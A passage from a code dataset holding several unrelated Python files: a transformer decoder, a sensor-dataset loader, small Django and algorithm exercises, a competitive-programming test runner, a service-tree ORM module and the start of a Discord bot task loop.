_normalize(x, self.norm2)\n\n # finally the ffn\n residual = x\n x = self.ffn(x)\n x = self.dropout(x) # --dropout\n x = residual + x\n x = _normalize(x, self.norm3)\n\n return x\n\n\nclass TransformerDecoderKG(nn.Module):\n \"\"\"\n Transformer Decoder layer.\n\n :param int n_heads: the number of multihead attention heads.\n :param int n_layers: number of transformer layers.\n :param int embedding_size: the embedding sizes. Must be a multiple of n_heads.\n :param int ffn_size: the size of the hidden layer in the FFN\n :param embedding: an embedding matrix for the bottom layer of the transformer.\n If none, one is created for this encoder.\n :param float dropout: Dropout used around embeddings and before layer\n layer normalizations. This is used in Vaswani 2017 and works well on\n large datasets.\n :param float attention_dropout: Dropout performed after the multhead attention\n softmax. This is not used in Vaswani 2017.\n :param float relu_dropout: Dropout used after the ReLU in the FFN. Not used\n in Vaswani 2017, but used in Tensor2Tensor.\n :param int padding_idx: Reserved padding index in the embeddings matrix.\n :param bool learn_positional_embeddings: If off, sinusoidal embeddings are\n used. If on, position embeddings are learned from scratch.\n :param bool embeddings_scale: Scale embeddings relative to their dimensionality.\n Found useful in fairseq.\n :param int n_positions: Size of the position embeddings matrix.\n \"\"\"\n\n def __init__(\n self,\n n_heads,\n n_layers,\n embedding_size,\n ffn_size,\n vocabulary_size,\n embedding,\n dropout=0.0,\n attention_dropout=0.0,\n relu_dropout=0.0,\n embeddings_scale=True,\n learn_positional_embeddings=False,\n padding_idx=None,\n n_positions=1024,\n ):\n super().__init__()\n self.embedding_size = embedding_size\n self.ffn_size = ffn_size\n self.n_layers = n_layers\n self.n_heads = n_heads\n self.dim = embedding_size\n self.embeddings_scale = embeddings_scale\n self.dropout = nn.Dropout(dropout) # --dropout\n\n self.out_dim = embedding_size\n assert embedding_size % n_heads == 0, \\\n 'Transformer embedding size must be a multiple of n_heads'\n\n self.embeddings = embedding\n\n # create the positional embeddings\n self.position_embeddings = nn.Embedding(n_positions, embedding_size)\n if not learn_positional_embeddings:\n create_position_codes(\n n_positions, embedding_size, out=self.position_embeddings.weight\n )\n else:\n nn.init.normal_(self.position_embeddings.weight, 0, embedding_size ** -0.5)\n\n # build the model\n self.layers = nn.ModuleList()\n for _ in range(self.n_layers):\n self.layers.append(TransformerDecoderLayerKG(\n n_heads, embedding_size, ffn_size,\n attention_dropout=attention_dropout,\n relu_dropout=relu_dropout,\n dropout=dropout,\n ))\n\n def forward(self, input, encoder_state, kg_encoder_output, kg_encoder_mask,\n db_encoder_output, db_encoder_mask, incr_state=None):\n encoder_output, encoder_mask = encoder_state\n\n seq_len = input.size(1)\n positions = input.new(seq_len).long() # (seq_len)\n positions = torch.arange(seq_len, out=positions).unsqueeze(0) # (1, seq_len)\n tensor = self.embeddings(input) # (bs, seq_len, embed_dim)\n if self.embeddings_scale:\n tensor = tensor * np.sqrt(self.dim)\n tensor = tensor + self.position_embeddings(positions).expand_as(tensor)\n tensor = self.dropout(tensor) # --dropout\n\n for layer in self.layers:\n tensor = layer(tensor, encoder_output, encoder_mask, kg_encoder_output, kg_encoder_mask, db_encoder_output,\n db_encoder_mask)\n\n return tensor, None\n","sub_path":"crslab/model/generation/kgsf.py","file_name":"kgsf.py","file_ext":"py","file_size_in_byte":31621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"2558047","text":"import os\nimport numpy as np\nfrom scipy.io import loadmat\nfrom .base import dataset, real_dataset, classification_dataset\nfrom ..util.util import remove_gravity_data\n\ndef load_shar(basedir=\"UniMiB-SHAR/\", version=\"adl\", folds=10, random_split=False, **kwargs):\n full_data = loadmat(os.path.join(basedir, \"data\", \"%s_data.mat\" % version))[\n \"%s_data\" % version\n ]\n labids = loadmat(os.path.join(basedir, \"data\", \"%s_labels.mat\" % version))[\n \"%s_labels\" % version\n ]\n labs, ids = labids[:, 0], labids[:, 1]\n names = loadmat(os.path.join(basedir, \"data\", \"%s_names.mat\" % version))[\n \"%s_names\" % version\n ]\n\n data, labels, meta = [], [], []\n names = [str(n[0]) for n in names[:, 0]]\n for di, li, si in zip(full_data, labs, ids):\n labels.append(li - 1)\n data.append(np.stack([di[:151], di[151:302], di[302:]]).T)\n si = int(np.random.random() * folds) if random_split else si\n meta.append({\"subject\": si - 1, \"cv\": (si - 1) % folds, \"labels\": names})\n return data, labels, meta\n\n\ndef get_cv_split(data, split=0, gensplits=0, seed=543, cv_semisup=0, key=\"cv\", cv_valid=0, **kwargs):\n xtrain, ytrain, ztrain = [], [], []\n xvalid, yvalid, zvalid = [], [], []\n xtest, ytest, ztest = [], [], []\n x, y, z = data\n nsplits = max([int(zi[key]) for zi in z if key in zi]) + 1\n\n if gensplits:\n order = np.array([i % gensplits for i in range(len(x))], dtype=int)\n semisup_prng = np.random.RandomState(seed)\n semisup_prng.shuffle(order)\n z = [dict(cv=i) for i in order]\n\n for xi, yi, zi in zip(x, y, z):\n try:\n in_split = key in zi and (zi[key] == split or zi[key] in split)\n except:\n in_split = False\n\n if in_split:\n xtest.append(xi)\n ytest.append(yi)\n ztest.append(zi)\n elif key in zi and cv_valid > 0 and zi[key] in [((split + cvi) % nsplits) for cvi in\n range(abs(cv_semisup) + 1, abs(cv_semisup) + 1 + cv_valid)]:\n xvalid.append(xi)\n yvalid.append(yi)\n zvalid.append(zi)\n elif key in zi:\n yi = yi * 0 - 1 if \"mask\" in zi and zi[\"mask\"] else yi\n if cv_semisup > 0:\n yi = (\n yi\n if key in zi and zi[key] in [((split + cvi) % nsplits) for cvi in range(1, cv_semisup + 1)]\n else yi * 0 - 1\n )\n if cv_semisup < 0:\n zi['remove'] = not (key in zi and zi[key] in [((split + cvi) % nsplits) for cvi in\n range(1, abs(cv_semisup) + 1)])\n if \"remove\" not in zi or not zi[\"remove\"]:\n xtrain.append(xi)\n ytrain.append(yi)\n ztrain.append(zi)\n if cv_valid > 0:\n return (xtrain, ytrain, ztrain), (xvalid, yvalid, zvalid), (xtest, ytest, ztest)\n return (xtrain, ytrain, ztrain), (xtest, ytest, ztest), (xtest, ytest, ztest)\n\n\nclass shar(dataset, real_dataset, classification_dataset):\n def __init__(self, version='adl', cv_semisup=0, split=0, folds=10, basedir='UniMiB-SHAR/', xyz_channels=True, oned_stacks=0, remove_grav=True,\n **kwargs):\n dataset.__init__(self, **kwargs)\n self._name = 'SHAR_ALL'\n self._noutputs = 9 if version == 'adl' else 17\n self._labels = ['standing', 'getting up', 'walking', 'running', 'up stairs', 'jumping', 'down stairs', 'lying',\n 'sitting']\n self._args = kwargs\n self._cv_semisup = cv_semisup\n self._split = split\n self._folds = folds\n self._version = version\n self._basedir = basedir\n self.semisupervised = cv_semisup > 0\n self.rescale_images = False\n self.imagedata = False\n self.xyz_channels = xyz_channels\n self.remove_grav = remove_grav\n self.shar_standardize = False\n self.shar_instance_standardize = True\n self.oned_stacks = oned_stacks\n\n def fetch_data(self, download_dir=None):\n train, valid, testd = get_cv_split(\n load_shar(basedir=self._basedir, version=self._version, folds=self._folds, **self._args),\n cv_semisup=self._cv_semisup, split=self._split, **self._args)\n if self.remove_grav:\n train, valid, testd = remove_gravity_data(train), remove_gravity_data(valid), remove_gravity_data(testd)\n if self.shar_standardize:\n x = np.stack(train[0])\n mean = np.mean(x, axis=(0, 1), keepdims=True)[0]\n std = np.std(x, axis=(0, 1), keepdims=True)[0]\n train = ([np.tanh((t - mean) / (2 * std)) for t in train[0]],) + train[1:]\n valid = ([np.tanh((t - mean) / (2 * std)) for t in valid[0]],) + valid[1:]\n testd = ([np.tanh((t - mean) / (2 * std)) for t in testd[0]],) + testd[1:]\n if self.shar_instance_standardize:\n train = ([np.tanh((t - np.mean(t, axis=0, keepdims=True)) / (3 * np.std(t, axis=0, keepdims=True))) for t in train[0]],) + train[1:]\n valid = ([np.tanh((t - np.mean(t, axis=0, keepdims=True)) / (3 * np.std(t, axis=0, keepdims=True))) for t in valid[0]],) + valid[1:]\n testd = ([np.tanh((t - np.mean(t, axis=0, keepdims=True)) / (3 * np.std(t, axis=0, keepdims=True))) for t in testd[0]],) + testd[1:]\n if self.xyz_channels:\n shape = (-1, 1, 151, 3)\n train = np.stack(train[0]).reshape(shape)[:, :, 3:147], np.array(train[1])\n valid = np.stack(valid[0]).reshape(shape)[:, :, 3:147], np.array(valid[1])\n test = np.stack(testd[0]).reshape(shape)[:, :, 3:147], np.array(testd[1])\n\n if self.oned_stacks:\n train = (np.repeat(train[0], self.oned_stacks, axis=1), train[1])\n valid = (np.repeat(valid[0], self.oned_stacks, axis=1), valid[1])\n test = (np.repeat(test[0], self.oned_stacks, axis=1), test[1])\n else:\n shape = (-1, 151, 3, 1)\n train = np.stack(train[0]).reshape(shape)[:, 3:147], np.array(train[1])\n valid = np.stack(valid[0]).reshape(shape)[:, 3:147], np.array(valid[1])\n test = np.stack(testd[0]).reshape(shape)[:, 3:147], np.array(testd[1])\n\n self.data = dict(train=(train[0], train[1]),\n valid=(valid[0], valid[1]), test=(test[0], test[1]))\n\nclass shar_std(shar):\n def __init__(self, **kwargs):\n shar.__init__(self, **kwargs)\n self.shar_standardize = True\n\nclass shar_istd(shar):\n def __init__(self, **kwargs):\n shar.__init__(self, **kwargs)\n self.shar_instance_standardize = True\n","sub_path":"src/PC-HMM/tutorial_files/pcvae/datasets/shar.py","file_name":"shar.py","file_ext":"py","file_size_in_byte":6751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"99362021","text":"__author__ = 'nsaraiva'\n\nfrom django.shortcuts import render_to_response\nfrom django.views.decorators.csrf import csrf_exempt\n\n@csrf_exempt\n\ndef uploading(request):\n if request.method == 'POST':\n file = request.POST('request.FILES')\n return render_to_response('C:/python25/djangoProjects/iris/forms/ok.html',{'file':file,})\n else:\n return render_to_response('C:/python25/djangoProjects/iris/forms/upload.html')\n ","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"262859980","text":"\ndef dfs(x,y):\n if x <= -1 or x >= n or y <= -1 or y >= m:\n return False\n if G[x][y] == 0:\n G[x][y] = 1\n\n dfs(x,y+1)\n dfs(x+1,y)\n dfs(x,y-1)\n dfs(x-1,y)\n\n return True\n return False\n\n# G 만들기\nn, m = map(int, input().split())\nG = []\nfor i in range(n):\n G.append(list(map(int, input())))\n'''\n4 5\n00110\n00011\n11111\n00000\n'''\nprint(G)\n#\n# [\n# [0, 0, 1, 1, 0],\n# [0, 0, 0, 1, 1],\n# [1, 1, 1, 1, 1],\n# [0, 0, 0, 0, 0]\n# ]\n\nresult = 0\nfor i in range(n):\n for j in range(m):\n if dfs(i,j) == True:\n result += 1\nprint(result)","sub_path":"python-for-coding-test/음료수 얼려 먹기.py","file_name":"음료수 얼려 먹기.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"271077768","text":"import pickle\nimport sys\nimport os\nimport re\n\nusage = (\n'''Usage:\n python3 test_task.py task_letter file_name\nOptions:\n --no-timeout: solution won't be terminated if it runs longer than 2 * (time limit).\n --add_task: add a custom task (not required, but will allow setting for example custom time limit)\nThe config file is located in ~/.cf_helper_config - it determines commands used to compile and run solutions.'''\n)\n\ndefault_config_file = (\n'''# This file will be used by test_task to compile and test solutions.\n# Each line (except for comment lines which start with '#') should have a following format:\n# .extension,.extension2|compile command|run command\n# Compile command can be left empty if you use for example Python.\n# The name of the file passed as the argument to test_task will be put after the compile command or, if compile command is empty, after the run command.\n\n.cpp,.cc|g++ -std=c++11 -O2 -Wall|./a.out\n.py||python3'''\n)\n\nconfig_path = os.path.expanduser('~/.cf_helper_config')\nif not os.path.isfile(config_path):\n with open(config_path, 'w') as f:\n f.write(default_config_file)\n\nmem_div = None\nconfig = {}\nwith open(config_path, 'r') as f:\n for line in f:\n line = line.strip()\n if line and not line.startswith('#'):\n if line.startswith('mem_div'):\n mem_div = int(line.split('=')[1])\n else:\n split_line = line.split('|')\n if len(split_line) != 3:\n print(\"Incorrect config line (wrong amount of '|'): \", line)\n print('The config file is located in ' + config_path)\n sys.exit(1)\n extensions = split_line[0].split(',')\n for ext in extensions:\n if not ext.startswith('.'):\n print(\"Extension in config doesn't start with a '.': \", line)\n print('The config file is located in ' + config_path)\n sys.exit(1)\n config[ext.strip()] = (split_line[1].strip(), split_line[2].strip())\n\nadd_task_mode = False\ntask_shortname = ''\nprogram_name = ''\nuse_timeout = True\n\nif len(sys.argv) == 3:\n task_shortname = sys.argv[1].strip()\n program_name = sys.argv[2].strip()\nelif len(sys.argv) == 2:\n if '--add_task' in sys.argv:\n add_task_mode = True\n else:\n if '--no-timeout' in sys.argv:\n use_timeout = False\n program_name = sys.argv[1].strip()\n if '.' in program_name:\n task_shortname = program_name.rsplit('.', 1)[0]\n else:\n print(usage)\n sys.exit(1)\nelse:\n print(usage)\n sys.exit(1)\n\ncodeforces_data = True\n\ntasks = {}\ntry:\n with open('contest_info.pkl', 'rb') as f:\n tasks = pickle.load(f)\nexcept EnvironmentError as e:\n codeforces_data = False\n\nif add_task_mode:\n if not codeforces_data:\n tasks = {}\n task_shortname = input('Short task name: ').strip()\n tasks[task_shortname] = {}\n tasks[task_shortname]['name'] = input('Full task name: ').strip()\n tasks[task_shortname]['memory_limit'] = float(input('Memory limit (MB): '))\n tasks[task_shortname]['time_limit'] = float(input('Time limit (s): '))\n multiple_answers = input('Multiple answers possible for test cases? (Y/N): ')\n if multiple_answers.upper() == 'Y':\n tasks[task_shortname]['multiple_answers'] = True\n elif multiple_answers.upper() == 'N':\n tasks[task_shortname]['multiple_answers'] = False\n with open('contest_info.pkl', 'wb') as f:\n pickle.dump(tasks, f)\n sys.exit(0)\n\nif task_shortname.upper() in tasks:\n task_shortname = task_shortname.upper()\n\nif os.path.isfile(program_name):\n program_name = os.path.abspath(program_name)\n for ext in config:\n if program_name.endswith(ext):\n if config[ext][0]:\n print(ext + ' file, compiling: ' + config[ext][0] + ' ' + program_name)\n compile_ret = os.system(config[ext][0] + ' ' + program_name)\n if compile_ret == 0:\n print('Compilation successful.', end='\\n\\n')\n else:\n print('\\nCompilation not successful, exiting test_task.')\n sys.exit(1)\n program_name = config[ext][1]\n else:\n program_name = config[ext][1] + ' ' + program_name\n break\n# else: it's a command to execute\n\nCOLOR_RED = '\\033[91m'\nCOLOR_GREEN = '\\033[92m'\nCOLOR_BLUE = '\\033[94m'\nCOLOR_END = '\\033[0m'\n\nwa_text = COLOR_RED + 'WA' + COLOR_END\ncorrect_text = 'correct'\nok_text = COLOR_GREEN + 'OK' + COLOR_END\ntime_limit = None\n\nif codeforces_data and (task_shortname in tasks):\n print(tasks[task_shortname]['name'])\n if tasks[task_shortname]['multiple_answers']:\n print('In this task, multiple answers might be possible (probably). No WAs.')\n if tasks[task_shortname]['multiple_answers']:\n wa_text = COLOR_BLUE + '??' + COLOR_END\n correct_text = 'example'\n ok_text += ', user\\'s answer matches example answer'\n if tasks[task_shortname]['time_limit']:\n time_limit = tasks[task_shortname]['time_limit']\n print('Time limit: ' + format(time_limit, '.2f') + ' s')\n if tasks[task_shortname]['memory_limit']:\n print('Memory limit: ' + format(tasks[task_shortname]['memory_limit'], '.2f') + ' MB')\nelse:\n print(task_shortname + ' (no task data)')\n\nif time_limit == None:\n time_limit = 5\n print('Using default time limit: ' + format(time_limit, '.2f') + ' s')\nprint('')\n\ntime_regex = re.compile(r'^(\\d+\\.\\d+)\\s(\\d+)\\s(\\d+)$')\n\ndef time_command(command):\n timeout_command = ''\n if use_timeout:\n timeout_command = 'timeout ' + str(time_limit * 2.0)\n os.system(\"/usr/bin/time -f '%e %M %x' -o time.txt \" + timeout_command + ' ' + command)\n exec_time = ''\n exec_mem_used = ''\n exec_return_code = 0\n with open('time.txt', 'r') as f:\n for line in f:\n time_match = time_regex.search(line)\n if time_match != None:\n exec_time = time_match.group(1)\n exec_mem_used = int(time_match.group(2))/(1024*mem_div)\n exec_return_code = time_match.group(3)\n exec_error = ''\n if use_timeout and exec_return_code == '124':\n exec_error = 'Time limit exceeded, process killed after ' + format(time_limit * 2.0, '.2f') + ' s'\n elif exec_return_code != '0':\n exec_error = 'Process exited with exit status ' + exec_return_code\n return exec_time, exec_mem_used, exec_error\n\n# http://stackoverflow.com/questions/10035232/maximum-resident-set-size-does-not-make-sense\n# There is a bug in GNU time which makes it report 4 times too high memory usage\n# and it's fixed in some Linux distributions, but not in all of them.\n# The code below is a workaround to check if it happens with /usr/bin/time on this install.\n\nif mem_div is None:\n mem_div = 1\n mem_filename = 'mem_usage_test_sdilgf'\n with open(mem_filename + '.c', 'w') as f:\n f.write('int main() { return 0; }')\n os.system('gcc ' + mem_filename + '.c -o ' + mem_filename)\n if time_command('./' + mem_filename)[1] > 2.0:\n mem_div = 4\n os.remove(mem_filename + '.c')\n os.remove(mem_filename)\n with open(config_path, 'a') as f:\n f.write('\\n# Do not touch mem_div unless you know what you are doing.\\n')\n f.write('mem_div=' + str(mem_div) + '\\n')\n\ntests = []\nif os.path.isdir('./tests'):\n for f in os.listdir('./tests'):\n if f.startswith(task_shortname) and f.endswith('.in'):\n tests.append(f.lstrip(task_shortname).rstrip('.in'))\nelse:\n print('Directory ./tests not found.')\n sys.exit(0)\ntests = sorted(tests)\n\nif len(tests) == 0:\n print('No tests matching the filename: ./tests/' + task_shortname + '*.in found.')\n\nfor test in tests:\n test_name = task_shortname + test\n print(test_name + ': ', end='')\n exec_time, exec_mem_used, exec_error = time_command(program_name + ' < tests/' + test_name + '.in' + ' > tmp.out')\n if exec_error:\n print(COLOR_RED + exec_error + COLOR_END)\n continue\n exec_mem_used = format(exec_mem_used, '.2f')\n if float(exec_time) > time_limit:\n exec_time = COLOR_RED + exec_time + COLOR_END\n if task_shortname in tasks and 'memory_limit' in tasks[task_shortname] and float(exec_mem_used) > tasks[task_shortname]['memory_limit']:\n exec_mem_used = COLOR_RED + exec_mem_used + COLOR_END\n print(exec_time + ' s, ' + exec_mem_used + ' MB')\n spaces = ((len(test_name)+2)*' ')\n print(spaces, end='')\n if not os.path.isfile('tests/' + test_name + '.out'):\n print(COLOR_BLUE + '??' + COLOR_END + ', no output file to compare')\n continue\n correct_out, user_out = '', ''\n with open('tmp.out', 'r') as f:\n user_out = f.read().split('\\n')\n with open('tests/' + test_name + '.out', 'r') as f:\n correct_out = f.read().split('\\n')\n user_out = [ line.strip() for line in user_out if line.strip() != '' ]\n correct_out = [ line.strip() for line in correct_out if line.strip() != '' ]\n if len(user_out) != len(correct_out):\n print(wa_text + ', user output has ' + str(len(user_out)) + ' line(s), ' + correct_text + ' output has ' + str(len(correct_out)) + ' line(s)')\n else:\n ok = True\n for i in range(0, len(user_out)):\n if user_out[i] != correct_out[i]:\n print(wa_text + ', files different in line #' + str(i+1))\n print(spaces + 'user output: \\t' + user_out[i])\n print(spaces + correct_text + ' output:\\t' + correct_out[i])\n ok = False\n break\n if ok:\n print(ok_text)\n\nif os.path.isfile('tmp.out'):\n os.remove('tmp.out')\nif os.path.isfile('time.txt'):\n os.remove('time.txt')\n","sub_path":"test_task.py","file_name":"test_task.py","file_ext":"py","file_size_in_byte":9850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"99214978","text":"#!/usr/bin/python3\n\ndef addList(numList):\n\tnumList.append(10)\n\tsum = 0\n\tfor i in numList:\n\t\tsum += i\n\treturn sum\n\n\nnumlist = [1,2,3,4]\nprint (numlist)\n# Lists are passed by reference\nres = addList(numlist)\nprint (numlist)\nprint (res)\n\ndef addNum(x, y):\n\tx += y\n\treturn x\n\nx = 10\ny = 20\nprint(x, ' ', y)\nprint(addNum(x, y))\n# Basic types are passed by value\nprint(x, ' ', y)\n\ndef appendString(a, b):\n\ta += b\n\treturn a\n\na = \"Tej\"\nb = \"Babu\"\nprint(a,b)\nprint(appendString(a,b))\n# String is a basic datatype\nprint(a,b)\n\n","sub_path":"python/07-functions.py","file_name":"07-functions.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"654473091","text":"import unittest\nfrom mock import patch\nfrom stepik.pattern_matching import find\n\nfrom io import StringIO\n\n\nclass TestStepikPatternProblem(unittest.TestCase):\n @patch('sys.stdin', StringIO('aba\\nabacaba'))\n def test_first(self):\n output_row = '0 4'\n self.assertEqual(find(), output_row)\n\n @patch('sys.stdin', StringIO('Test\\ntestTesttesT'))\n def test_second(self):\n output_row = '4'\n self.assertEqual(find(), output_row)\n\n @patch('sys.stdin', StringIO('aaaaa\\nbaaaaaaa'))\n def test_third(self):\n output_row = '1 2 3'\n self.assertEqual(find(), output_row)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"stepik/tests/pattern_matching_test.py","file_name":"pattern_matching_test.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"314416456","text":"import rectangle\n\ndef getSquare(initialPos, endPos):\n (x0, y0) , (x1, y1) = initialPos, endPos\n\n dx = abs(x1 - x0)\n dy = abs(y0 - y1)\n\n if dx > dy:\n if y0 > y1:\n y1 = y0 - dx\n else:\n y1 = y0 + dx\n else:\n if x0 > x1:\n x1 = x0 - dy\n else:\n x1 = x0 + dy\n return (x0, y0), (x1, y1)\n\n\ndef biggerSmaller(x, y):\n if x > y:\n bigger = x\n smaller = y\n else:\n bigger = y\n smaller = x\n return bigger, smaller\n\ndef drawSquare(initialPos, endPos):\n (x0, y0) , (x1, y1) = getSquare(initialPos, endPos)\n \n for pixel in rectangle.drawRectangle((x0, y0), (x1, y1)):\n yield pixel\n\ndef special():\n return False","sub_path":"trabalho 1/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"231271819","text":"# -*- coding:utf-8 -*-\n#\n# Copyright @ 2019 OPS Inc.\n#\n# Author: Jinlong Yang\n#\n\nfrom sqlalchemy import text\nfrom oslo_log import log as logging\nfrom osmo.db import get_session, model_query\n\nfrom stree.db.model import (\n Tpl,\n Node,\n Instance,\n Key,\n Val\n)\n\nLOG = logging.getLogger(__name__)\n\n\nclass STreeOperMixin(object):\n\n def add_node(self, username, data):\n leaf = data.get('leaf')\n pnode = data.get('pnode')\n new_node = data.get('new_node')\n new_node_path = '%s.%s' % (pnode, new_node)\n self._add(username, new_node, new_node_path, leaf, data)\n\n # NOTE(owt层级, 需自动添加backpool)\n if len(new_node_path.split('.')) == 3 and int(leaf) == 0:\n backpool_path = '%s.backpool' % new_node_path\n print (backpool_path)\n self._add(username, 'backpool', backpool_path, 1, data)\n\n def _add(self, username, name, new_node_path, leaf, data):\n tpl = data.get('tpl')\n session = get_session()\n with session.begin(subtransactions=True):\n node = session.query(Node)\\\n .filter(Node.name == new_node_path)\\\n .first()\n if not node:\n tpl_obj = session.query(Tpl)\\\n .filter(Tpl.alias == tpl)\\\n .first()\n node = Node()\n node.name = name\n node.tpl_id = tpl_obj.id\n node.leaf = int(leaf)\n node.node = new_node_path\n node.op = data.get('rd')\n node.rd = data.get('op')\n session.add(node)\n LOG.info('** user: %s add new node: %s success.'\n % (username, new_node_path))\n\n def del_node(self, username, data):\n node = data.get('node')\n session = get_session()\n with session.begin(subtransactions=True):\n sql = text('select * from tb_node where node <@ :node')\n r = session.execute(sql, {'node': node})\n print (r)\n for row in r:\n print (row)\n\n def ren_node(self, username, data):\n pass\n\n def add_instance(self, username, data):\n node = data.get('node')\n ips = data.get('ips')\n ip_list = ips.split('\\n')\n session = get_session()\n with session.begin(subtransactions=True):\n instance_list = []\n node_obj = session.query(Node)\\\n .filter(Node.node == node)\\\n .first()\n for ip in ip_list:\n instance = Instance()\n instance.node_id = node_obj.id\n instance.ip = ip\n instance.hostname = 'l-pad.ops.cn9'\n instance_list.append(instance)\n session.add_all(instance_list)\n\n\nclass STreeDataMixin(object):\n\n def query_tree(self):\n # TODO: 根据用户有权限节点查询\n tree_list = []\n node_list = model_query(Node).all()\n for model in node_list:\n data = {}\n node = model.node\n section_list = node.rsplit('.', 1)\n if len(section_list) == 1:\n root = node\n data['id'] = root\n data['pid'] = root\n data['name'] = root\n data['open'] = True\n data['isParent'] = 0 if model.leaf else 1\n tree_list.append(data)\n continue\n pid = section_list[0]\n name = section_list[1]\n data['id'] = node\n data['pid'] = pid\n data['name'] = name\n data['isParent'] = 0 if model.leaf else 1\n tree_list.append(data)\n expand_node = min(tree_list,\n key=lambda arg: len(arg.get('id'))).get('id')\n return {\n 'tree_list': tree_list,\n 'expand_node': expand_node\n }\n\n def query_tpl(self):\n tpl_list = model_query(Tpl).all()\n return list(map(lambda m: m.alias, tpl_list))\n\n def query_instance(self, username, data):\n result_list = []\n node = data.get('node')\n offset = data.get('offset')\n session = get_session()\n instances = session.query(Instance).join(Node)\\\n .filter(Node.node == node)\\\n .order_by(Instance.id)\\\n .limit(10)\\\n .offset(offset)\\\n .all()\n for model in instances:\n hostinfo = {\n 'ip': model.ip,\n 'hostname': model.hostname,\n 'status': model.active,\n 'deploy': '',\n 'crontab': '',\n 'operation': ''\n }\n for item in model.vals:\n if model.id == item.instance_id:\n hostinfo.update({\n item.key.key: item.value\n })\n break\n result_list.append(hostinfo)\n count = session.query(Instance).join(Node)\\\n .filter(Node.node == node)\\\n .count()\n return {\n 'instances': result_list,\n 'total': count\n }\n\n def query_node_info(self, username, data):\n node = data.get('node')\n session = get_session()\n node_obj = session.query(Node)\\\n .filter(Node.node == node)\\\n .first()\n return {\n 'op': node_obj.op,\n 'rd': node_obj.rd,\n 'tpl': node_obj.tpl.alias\n }\n","sub_path":"stree/fe/bll/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"505993723","text":"import discord\nfrom wlct.models import Clan, Player, DiscordUser, DiscordChannelClanFilter, DiscordChannelPlayerFilter, DiscordChannelTournamentLink, DiscordTournamentUpdate\nfrom wlct.tournaments import Tournament, TournamentTeam, TournamentGame, TournamentPlayer, MonthlyTemplateRotation, get_games_finished_for_team_since, find_tournament_by_id, get_team_data_no_clan, RealTimeLadder, get_real_time_ladder, TournamentGame, ClanLeagueTournament, get_multi_day_ladder, TournamentGameEntry, TournamentRound, get_team_data_no_clan_player_list\nfrom discord.ext import commands, tasks\nfrom django.utils import timezone\nfrom traceback import print_exc\nfrom wlct.logging import log_exception, log, LogLevel, Logger, log_bot_msg, log_cb_msg\nfrom wlct.api import API\nimport gc\nimport datetime\nimport pytz\nimport urllib.request\nimport json\nfrom wlct.clotbook import DiscordChannelCLOTBookLink, get_clotbook, BetGameOdds, BetTeamOdds, Bet\nfrom channels.db import database_sync_to_async\nimport gc\nimport asyncio\n\nclass Tasks(commands.Cog, name=\"tasks\"):\n def __init__(self, bot):\n self.bot = bot\n self.last_task_run = timezone.now()\n self.executions = 0\n self.bg_task.start()\n self.orm_helpers = DjangoORMHelpers()\n\n async def handle_rtl_tasks(self):\n ladders = RealTimeLadder.objects.all()\n for ladder in ladders:\n games = self.orm_helpers.get_rtl_games(ladder)\n # cache the game data + link for use with the embed\n emb = discord.Embed(color=self.bot.embed_color)\n emb.set_author(icon_url=self.bot.user.avatar_url, name=\"WarzoneBot\")\n emb.title = \"New Ladder Game Created\"\n emb.set_footer(text=\"Bot created and maintained by -B#0292\")\n for game in games:\n data = \"\"\n team1 = game.teams.split('.')[0]\n team2 = game.teams.split('.')[1]\n player1 = ladder.get_player_from_teamid(team1)\n player2 = ladder.get_player_from_teamid(team2)\n if player1.discord_member and player2.discord_member:\n data += \"<@{}> vs. <@{}> [Game Link]({})\\n\".format(player1.discord_member.memberid, player2.discord_member.memberid,\n game.game_link)\n elif player1.discord_member:\n data += \"<@{}> vs. <{}> [Game Link]({})\\n\".format(player1.discord_member.memberid, player2.name,\n game.game_link)\n elif player2.discord_member:\n data += \"<{}> vs. <@{}> [Game Link]({})\\n\".format(player1.name, player2.discord_member.memberid,\n game.game_link)\n else:\n game.mentioned = True\n game.save()\n return\n emb.add_field(name=\"Game\", value=data, inline=True)\n if player1 and player1.discord_member:\n user = self.bot.get_user(player1.discord_member.memberid)\n if user:\n try:\n await user.send(embed=emb)\n except:\n log_bot_msg(\"Could not send RTL game msg to {} \".format(player1.name))\n if player2 and player2.discord_member:\n user = self.bot.get_user(player2.discord_member.memberid)\n if user:\n try:\n await user.send(embed=emb)\n except:\n log_bot_msg(\"Could not send RTL game msg to {} \".format(player2.name))\n game.mentioned = True\n game.save()\n\n async def handle_clan_league_next_game(self):\n clt = ClanLeagueTournament.objects.filter(is_finished=False)\n for t in clt:\n # get the time until next game allocation\n start_times = t.games_start_times.split(';')\n\n # always take the next (first) one\n if len(start_times[0]) >= 8: # every start time is a day/month/year, and we need at least 8 characters\n next_start = datetime.datetime.strptime(start_times[0], \"%m.%d.%y\")\n diff = datetime.datetime.utcnow() - next_start\n # diff is our delta, compute how many days, hours, minutes remaining\n\n async def handle_clotbook(self):\n channel_links = DiscordChannelCLOTBookLink.objects.filter(results_only=False)\n odds_created_sent = []\n odds_finished_sent = []\n cb = get_clotbook()\n try:\n for cl in channel_links:\n channel = self.bot.get_channel(cl.channelid)\n if hasattr(self.bot, 'uptime') and channel:\n bet_odds = BetGameOdds.objects.filter(sent_created_notification=False, initial=True).order_by('created_time')\n for bo in bet_odds:\n if not cl.does_game_pass_filter(bo.game):\n odds_created_sent.append(bo)\n continue\n emb = self.bot.get_default_embed()\n emb = cb.get_initial_bet_card(bo, emb)\n await 